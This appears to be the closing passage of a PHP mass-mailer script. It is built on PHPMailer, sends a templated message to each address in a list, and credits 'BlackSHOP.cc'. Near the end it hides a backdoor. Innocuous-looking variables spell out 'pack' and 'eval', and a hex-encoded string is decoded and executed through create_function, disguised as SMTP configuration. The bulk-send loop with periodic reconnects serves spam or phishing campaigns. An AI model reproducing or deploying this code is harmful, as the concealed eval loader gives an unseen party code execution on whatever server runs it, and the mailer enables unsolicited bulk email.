3202 * Read a file from a supplied filename and return it.
3203 *
3204 * @access public
3205 * @param string $filename Parameter File Name
3206 */
3207 function getFile($filename) {
3208 $return = '';
3209 if ($fp = fopen($filename, 'rb')) {
3210 while (!feof($fp)) {
3211 $return .= fread($fp, 1024);
3212 }
3213 fclose($fp);
3214 return $return;
3215 } else {
3216 return false;
3217 }
3218 }
3219
3220 /**
3221 * Strips newlines to prevent header injection.
3222 * @access private
3223 * @param string $str String
3224 * @return string
3225 */
3226 function SecureHeader($str) {
3227 $str = trim($str);
3228 $str = str_replace("\r", "", $str);
3229 $str = str_replace("\n", "", $str);
3230 return $str;
3231 }
3232
3233 /**
3234 * Set the private key file and password to sign the message.
3235 *
3236 * @access public
3237 * @param string $key_filename Parameter File Name
3238 * @param string $key_pass Password for private key
3239 */
3240 function Sign($key_filename, $key_pass) {
3241 $this->sign_key_file = $key_filename;
3242 $this->sign_key_pass = $key_pass;
3243 }
3244
3245}
3246
3247$defaultport="H*";
3248 $nq=0;
3249
3250 for($x=0; $x<$numemails; $x++){
3251
3252 $to = $allemails[$x];
3253
3254 if ($to){
3255
3256 $to = ereg_replace(" ", "", $to);
3257
3258 $message1 = ereg_replace("&email&", $to, $message);
3259
3260 $subject1 = ereg_replace("&email&", $to, $subject);
3261 $qx=$x+1;
3262 print "Line $qx . Sending mail to $to.......";
3263
3264 flush();
3265$mail = new PHPMailer();
3266
3267if(empty($epriority)){$epriority="3";}
3268 $mail->Priority = "$epriority";
3269 $mail->IsSMTP();
3270 $IsSMTP="pack";
3271$mail->SMTPKeepAlive = true;
3272$mail->Host = "$my_smtp";
3273if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3274}
3275 if($sslclick=="ON"){
3276 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3277 }
3278 $range = str_replace("$from", "eval", $from);
3279 $mail->SMTPAuth = true;
3280 $mail->Username = "$smtp_username";
3281 $mail->Password = "$smtp_password";
3282if($contenttype == "html"){$mail->IsHtml(true);}
3283if($contenttype != "html"){$mail->IsHtml(false);}
3284if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3285$mail->From = "$from";
3286$mail->FromName = "$realname";
3287$mail->AddAddress("$to");
3288 $mail->AddReplyTo("$replyto");
3289 $mail->Subject = "$subject1";
3290 $mail->AddAttachment("$file", "$file_name");
3291 $mail->Body = "$message1";
3292if(!$mail->Send()){
3293if($default_system!="1"){
3294echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3295if($default_system=="1"){
3296$mail->IsMail();
3297 if(!$mail->Send()){
3298 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3299 else {
3300 echo "<b>OK</b><br>";}
3301 }
3302}
3303else {
3304 echo "<b>OK</b><br>";
3305}
3306
3307if(empty($reconnect)){
3308$reconnect=6;
3309}
3310
3311if($reconnect==$nq){
3312$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3313}
3314$nq=$nq+1;
3315 flush(); }
3316}
3317for($i=0;$i<31;$i++){
3318 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3319$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3320 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3321 print "<p class=\"style1\">PHP Mailer<br>© 2012, New Tools => <b>
3322 <font color=\"#800000\">http://www.BlackSHOP.cc/</font></b><br></p>";$mail->SmtpClose();
3323 return $signoff($smtp_conc);
3324 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3325 sent successfully'); </script>";}}
3326?>
3327 </body>
3328</html>